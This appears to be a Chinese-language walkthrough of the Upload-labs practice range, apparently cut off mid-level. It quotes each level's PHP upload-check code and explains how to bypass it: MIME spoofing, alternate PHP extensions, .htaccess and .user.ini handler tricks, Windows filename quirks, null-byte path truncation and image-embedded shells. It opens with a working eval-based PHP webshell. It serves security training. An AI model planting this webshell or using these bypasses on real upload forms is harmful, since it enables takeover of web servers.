Upload-labs靶场实战

webshell

webshell管理工具

Upload-labs靶场实战

方法不唯一

WebShell 的内容部分都是:

1
<?php @eval($_POST["Lyrio"]);phpinfo();?>

phpinfo()用来方便判断 WebShell 是否被执行

靶场的 php 版本为 5.2.17

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

绕过前端验证:

方法一:删除文件提交时触发的检测函数

方法二:先将木马改成.jpg,开启BurpSuite抓包,上传文件,将抓到的请求包里的文件后缀名改成.php

访问 WebShell 地址,phpinfo()代码被执行,说明 WebShell 被成功解析:

https://pic.imgdb.cn/item/65614da9c458853aef3ed506.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查上传文件是否为图片类型(jpeg、png、gif)
    if (file_exists(UPLOAD_PATH)) {// 检查上传目录是否存在
        // 使用文件类型检查,确保只接受指定的图像类型(白名单)
        if (
            ($_FILES['upload_file']['type'] == 'image/jpeg') ||
            ($_FILES['upload_file']['type'] == 'image/png') ||
            ($_FILES['upload_file']['type'] == 'image/gif')
        ) {
            // 获取临时文件路径和目标图片路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];

            // 移动上传文件到目标路径
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                // 上传出错时的错误消息
                $msg = '上传出错!';
            }
        } else {
            // 文件类型不正确时的错误消息
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        // 上传目录不存在时的错误消息
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

MIME 绕过:开启抓包,上传文件,将Content-Type: application/octet-stream改成Content-Type:image/jpeg

常见的 Content-Type :

  • image/jpeg :jpg 图片格式
  • image/png :png 图片格式
  • image/gif :gif 图片格式
  • text/plain :纯文本格式
  • text/xml :XML 格式
  • text/html :HTML 格式

访问 WebShell 地址,phpinfo()代码被执行,说明 WebShell 被成功解析:

https://pic.imgdb.cn/item/6562976fc458853aef246a15.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) {  // 检查是否提交了表单
    if (file_exists(UPLOAD_PATH)) {  // 检查上传路径是否存在
        $deny_ext = array('.asp','.aspx','.php','.jsp');  // 定义不允许上传的文件后缀数组

        $file_name = trim($_FILES['upload_file']['name']);  // 获取上传文件的原始文件名
        $file_name = deldot($file_name);  // 删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');  // 获取文件扩展名(包含点)
        $file_ext = strtolower($file_ext);  // 将扩展名转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);  // 去除字符串::$DATA
        $file_ext = trim($file_ext);  // 首尾去空

        if (!in_array($file_ext, $deny_ext)) {  // 检查文件扩展名是否在不允许上传的列表中
            $temp_file = $_FILES['upload_file']['tmp_name'];  // 获取临时文件路径
            $img_path = UPLOAD_PATH . '/' . date("YmdHis") . rand(1000, 9999) . $file_ext;  // 生成目标文件路径

            if (move_uploaded_file($temp_file, $img_path)) {  // 移动上传文件到目标路径
                $is_upload = true;  // 标记上传成功
            } else {
                $msg = '上传出错!';  // 上传出错时的错误消息
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';  // 文件后缀不允许上传时的错误消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 上传目录不存在时的错误消息
    }
}

// 删除文件名末尾的点的函数
function deldot($str) {
    $str = rtrim($str, '.');  // 删除右侧的点
    return $str;
}
?>

黑名单只过滤了.asp.aspx.php.jsp,将文件的拓展名改成等价拓展名再上传

前提条件:

Apache服务器配置文件httpd.conf中存在:AddType application/x-httpd-php .php .phtml .phps .php5 .php3 .php2

此配置的意思:服务器会将这些扩展名的文件视当作 php 解析

常见的等价拓展名:

  • asp => asa、cer、cdx
  • aspx => ashx、asmx、ascx
  • php => php2、php3、php4、php5、phps、phtml
  • jsp => jspx、jspf

https://pic.imgdb.cn/item/6563672bc458853aefe07e1c.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查 UPLOAD_PATH 目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 不允许上传的文件扩展名数组
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",
            ".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",
            ".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
            ".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",
            ".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        
        // 获取上传文件的原始名称并删除末尾的点
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);
        
        // 获取文件扩展名并转换为小写
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);
        
        // 去除字符串::$DATA
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
        
        // 去除首尾空格
        $file_ext = trim($file_ext);

        // 检查文件扩展名是否在不允许的列表中
        if (!in_array($file_ext, $deny_ext)) {
            // 获取临时文件路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            
            // 设置上传后的文件路径
            $img_path = UPLOAD_PATH.'/'.$file_name;
            
            // 尝试移动上传的文件到目标路径
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传一个 .htaccess 解析文件,利用其配置,将某个白名单文件的类型解析成 php 文件类型

例如将 WebShell 改成 jpg 格式上传

创建一个.htaccess文件,内容如下:

1
2
3
<FilesMatch  "1.jpg">
	SetHandler  application/x-httpd-php
</FilesMatch>

这个.htaccess文件会让 Apache 服务器将 shell.jpg 当作 php 执行

将 .htaccess 文件上传到服务器,访问 shell.jpg :

https://pic.imgdb.cn/item/65636aedc458853aefefd011.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查目标文件夹(UPLOAD_PATH)是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 不允许上传的文件扩展名数组
        $deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess");

        // 获取上传文件的名称并进行清理
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);  // 删除文件名末尾的点

        // 获取文件扩展名,转换为小写,并移除特定字符串 '::DATA'
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);
        $file_ext = str_ireplace('::$DATA', '', $file_ext);

        $file_ext = trim($file_ext);  // 删除首尾空格

        // 检查文件扩展名是否不在被拒绝的扩展名列表中
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];  // 临时文件路径
            $img_path = UPLOAD_PATH . '/' . $file_name;  // 上传文件的目标路径

            // 尝试将上传的文件移动到指定目标
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 设置上传标志为true
            } else {
                $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
            }
        } else {
            $msg = '此文件类型不允许上传!';  // 显示被拒绝文件类型的消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 如果目标文件夹不存在,则显示消息
    }
}

// 用于删除文件名末尾点的函数
function deldot($filename)
{
    return preg_replace('/\.{2,}/', '', $filename);
}
?>

大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件

发现没有被限制的后缀名有 .php7 以及 .ini

上传一个 .user.ini 配置文件,利用其配置,使每个 php 文件执行之前自动包含 WebShell

前提条件:

  • php 版本 > 5.3.0
  • 文件上传的目录中需要有 php 文件

先上传个 jpg 后缀的 WebShell ,再上传个.user.ini

.user.ini的内容:

1
2
auto_prepend_file=shell.jpg 
#将 shell.jpg 包含在所有 php 文件的头部

或者:

1
2
auto_append_file=shell.jpg 
#将 shell.jpg 包含在所有 php 文件的尾部

这意味着在每个 php 文件执行之前都会自动包含名为 shell.jpg 的文件

php.ini 是 php 的系统配置文件,是全局配置文件,对整个 web 服务都起作用

.user.ini 是 php 的系统配置文件,是局部配置文件,只对该文件所处目录及其子目录下的文件起作用

如果换成 php 5.3.29 版本后上传不了文件,就先换回 5.2.17 上传 shell.jpg 和 .user.ini ,再换到 5.3.29

访问 upload 目录下原本就存在的 readme.php

https://pic.imgdb.cn/item/65637478c458853aef13570b.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查存放上传文件的目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 不允许上传的文件扩展名数组
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

        // 获取上传文件的名称并进行清理
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);  // 删除文件名末尾的点

        // 获取文件扩展名,转换为小写,并去除字符串::$DATA
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
        $file_ext = trim($file_ext); // 去除首尾空格

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // 构建上传文件的路径,包括当前日期时间和随机数
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

            // 尝试将上传的文件移动到指定目标
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 设置上传标志为true
            } else {
                $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
            }
        } else {
            $msg = '此文件类型不允许上传!';  // 显示被拒绝文件类型的消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 如果目标文件夹不存在,则显示消息
    }
}

// 用于删除文件名末尾点的函数
function deldot($filename)
{
    return preg_replace('/\.{2,}/', '', $filename);
}
?>

缺少大小写转换,将 shell.php 改成 shell.PHP

Windows 系统下,对于文件名中的大小写不敏感。而这次的检测代码对大小写是敏感的,从而绕过

Linux 系统下,对于文件名中的大小写敏感。

https://pic.imgdb.cn/item/656375fdc458853aef18460b.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查存放上传文件的目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 不允许上传的文件扩展名数组
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

        // 获取上传文件的名称并进行清理
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);  // 删除文件名末尾的点

        // 获取文件扩展名,转换为小写,并去除字符串::$DATA
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);
        $file_ext = str_ireplace('::$DATA', '', $file_ext);

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // 构建上传文件的路径,包括当前日期时间和随机数
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

            // 尝试将上传的文件移动到指定目标
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 设置上传标志为true
            } else {
                $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
            }
        } else {
            $msg = '此文件不允许上传';  // 显示被拒绝文件类型的消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 如果目标文件夹不存在,则显示消息
    }
}

// 用于删除文件名末尾点的函数
function deldot($filename)
{
    return preg_replace('/\.{2,}/', '', $filename);
}
?>

对上传的文件名未做去空格的操作。

上传 shell.php ,BurpSuite 抓包,在文件拓展名最后加上空格。

Windows 系统下,对于文件名中空格会被作为空处理,但程序中的检测代码却不能自动删除 空格。从而绕过黑名单。

https://pic.imgdb.cn/item/6563775cc458853aef1ca464.jpg

https://pic.imgdb.cn/item/65637789c458853aef1d3519.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查存放上传文件的目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 不允许上传的文件扩展名数组
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

        // 获取上传文件的名称并进行清理
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);  // 转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);  // 去除字符串::$DATA
        $file_ext = trim($file_ext);  // 首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;

            // 尝试将上传的文件移动到指定目标
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 设置上传标志为true
            } else {
                $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
            }
        } else {
            $msg = '此文件类型不允许上传!';  // 显示被拒绝文件类型的消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 如果目标文件夹不存在,则显示消息
    }
}
?>

Windows 系统下,文件后缀名最后一个点会被自动去除,但是这关的代码没有处理文件后缀名最后一个点,所以可以重命名为shell.php.来绕过检测

https://pic.imgdb.cn/item/65637671c458853aef19b994.jpg

https://pic.imgdb.cn/item/656376aec458853aef1a83ee.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$is_upload = false;  // 上传标志,用于追踪文件是否成功上传
$msg = null;  // 上传状态消息,用于指示上传的状态

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查目标文件夹(UPLOAD_PATH)是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 不允许上传的文件扩展名数组
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

        // 获取上传文件的名称并进行清理
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);  // 删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);  // 转换为小写
        $file_ext = trim($file_ext);  // 首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // 构建上传文件的路径,包括当前日期时间和随机数
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

            // 尝试将上传的文件移动到指定目标
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 设置上传标志为true
            } else {
                $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
            }
        } else {
            $msg = '此文件类型不允许上传!';  // 显示被拒绝文件类型的消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 如果目标文件夹不存在,则显示消息
    }
}

// 用于删除文件名末尾点的函数
function deldot($filename)
{
    return preg_replace('/\.{2,}/', '', $filename);
}
?>

对上传的文件后缀名未做去除::$DATA 处理

Windows 系统下,如果上传的文件名为 shell.php::$DATA 会在服务器上生成一个 shell.php 的文件,其中内容和所上传文件内容相同,并被解析

https://pic.imgdb.cn/item/65637813c458853aef1edb77.jpg

https://pic.imgdb.cn/item/65637831c458853aef1f3abf.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查上传目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 定义不允许上传的文件扩展名数组
        $deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".htaccess", ".ini");

        // 获取上传文件的原始名称并进行处理
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);  // 删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext);  // 转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);  // 去除字符串::$DATA
        $file_ext = trim($file_ext);  // 首尾去空

        // 检查文件扩展名是否在不允许上传的列表中
        if (!in_array($file_ext, $deny_ext)) {
            // 获取临时文件路径和构建目标文件路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;

            // 尝试将上传的文件移动到指定目标
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 上传成功,设置标志为 true
            } else {
                $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
            }
        } else {
            $msg = '此文件类型不允许上传!';  // 显示被拒绝文件类型的消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 如果目标文件夹不存在,则显示消息
    }
}

// 用于删除文件名末尾点的函数
function deldot($filename)
{
    return preg_replace('/\.{2,}/', '', $filename);
}
?>

因为代码是先删一个(点)再删一个(空格)然后再拿文件后缀名去黑名单里比较,所以可以将 shell.php 重命名为 shell.php. .

这样在上传后等到和黑名单比较时文件名为 shell.php.,绕过黑名单,上传到目录后自动去除最后的.

https://pic.imgdb.cn/item/65637939c458853aef224cd4.jpg

https://pic.imgdb.cn/item/6563794cc458853aef2287da.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    // 检查上传目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 定义不允许上传的文件扩展名数组
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");

        // 获取上传文件的原始名称并进行处理
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext, "", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;

        // 尝试将上传的文件移动到指定目标
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;  // 上传成功,设置标志为 true
        } else {
            $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';  // 如果目标文件夹不存在,则显示消息
    }
}
?>

代码利用 str_ireplace()将文件名中符合黑名单的字符串替换成空。

shell.php 重命名为 shell.pphphp

https://pic.imgdb.cn/item/65637a48c458853aef256619.jpg

https://pic.imgdb.cn/item/6562976fc458853aef246a15.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    $ext_arr = array('jpg', 'png', 'gif');  // 允许上传的文件扩展名数组

    // 获取上传文件的扩展名
    $file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);

    // 检查文件扩展名是否在允许的列表中
    if (in_array($file_ext, $ext_arr)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;

        // 尝试将上传的文件移动到指定目标
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;  // 上传成功,设置标志为 true
        } else {
            $msg = '上传出错!';  // 如果移动操作失败,则显示错误消息
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";  // 显示不允许上传的文件类型消息
    }
}
?>

代码使用白名单限制上传文件类型,但上传文件的存放路径可控

利用方法:抓包,设置上传路径为 upload/shell.php%00 ,上传文件为 shell.jpg ,保存后为 /upload/shell.php%00shell.jpg,但服务端读取到%00 时会自动结束,将文件内容保存至 shell.php 中。

前提:

  • php 版本要小于 5.3.4 。
  • 文件路径可控。
  • php.ini 中的 magic_quotes_gpc 需要为Off状态。(关闭魔术引号)

%00为 Unicode 形式的截断符,用于 GET 型控制路径。 0x00 为 16 进制的截断符,用于 POST 型控制路径

https://pic.imgdb.cn/item/65637e1cc458853aef30d02f.jpg

https://pic.imgdb.cn/item/65637e48c458853aef314b72.jpg

第十三关( POST 型截断绕过)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])) {
    $ext_arr = array('jpg', 'png', 'gif');  // 允许上传的文件扩展名数组

    // 获取上传文件的扩展名
    $file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);

    // 检查文件扩展名是否在允许的列表中
    if (in_array($file_ext, $ext_arr)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;

        // 尝试将上传的文件移动到指定目标
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;  // 上传成功,设置标志为 true
        } else {
            $msg = "上传失败";  // 如果移动操作失败,则显示错误消息
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";  // 显示不允许上传的文件类型消息
    }
}
?>

与上一关类似,不同的是通过POST请求来控制路径。

POST请求添加截断字符的方法:

  1. 先在路径 upload/shell.php 后面打个 + => upload/shell.php+
  2. 将包的内容转成16进制(选择 Hex )
  3. 找到 + 的位置( + 的16进制是 2b )
  4. 2b 改成 00(替换成截断字符)

其他的做法跟上一关基本一致。

https://pic.imgdb.cn/item/65637f1ac458853aef335a6d.jpg

https://pic.imgdb.cn/item/65637f2ac458853aef338624.jpg

https://pic.imgdb.cn/item/65637e48c458853aef314b72.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
function getReailFileType($filename){
    // 以二进制只读方式打开文件
    $file = fopen($filename, "rb");
    // 读取文件的前两个字节
    $bin = fread($file, 2);
    // 关闭文件句柄
    fclose($file);

    // 将字节解包成无符号字符数组
    $strInfo = @unpack("C2chars", $bin);
    // 将字符数组转换为整数,得到文件类型码
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
    // 初始化文件类型为空字符串
    $fileType = '';

    // 根据文件类型码判断文件类型
    switch($typeCode){
        case 255216:
            $fileType = 'jpg';
            break;
        case 13780:
            $fileType = 'png';
            break;
        case 7173:
            $fileType = 'gif';
            break;
        default:
            $fileType = 'unknown';
    }

    // 返回文件类型
    return $fileType;
}

$is_upload = false;
$msg = null;

// 检查是否提交了表单
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    // 获取上传文件的实际类型
    $file_type = getReailFileType($temp_file);

    // 检查文件类型是否为未知
    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";  // 显示未知文件类型的消息
    } else {
        // 构建上传目标路径,包含随机数、日期和文件类型
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;

        // 尝试将上传的文件移动到指定目标
        if(move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;  // 上传成功,设置标志为 true
        } else {
            $msg = "上传出错!";  // 如果移动操作失败,则显示错误消息
        }
    }
}
?>

代码通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文件类型。

利用图片马绕过检测。

图片马制作:

在 cmd 里执行 copy 1.jpg/b+shell.php/a shell.jpg

  • 1.jpg 为任意图片
  • shell.php 为我们要插入的木马代码
  • shell.jpg 为我们要创建的图片马

要利用图片马必须要用到文件包含漏洞

https://pic.imgdb.cn/item/65638228c458853aef3afb87.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// 定义函数用于检测文件是否为图像类型
function isImage($filename){
    $types = '.jpeg|.png|.gif';  // 允许的图像文件扩展名
    if(file_exists($filename)){
        // 获取图像文件的信息
        $info = getimagesize($filename);
        // 将图像文件信息中的图像类型转换为文件扩展名
        $ext = image_type_to_extension($info[2]);

        // 检查图像文件扩展名是否在允许的列表中
        if(stripos($types, $ext) !== false){
            return $ext;  // 如果是允许的图像类型,返回文件扩展名
        } else {
            return false;  // 如果不在允许的图像类型列表中,返回 false
        }
    } else {
        return false;  // 如果文件不存在,返回 false
    }
}

$is_upload = false;
$msg = null;

// 检查是否提交了表单
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    // 调用 isImage 函数检测文件是否为图像类型
    $res = isImage($temp_file);

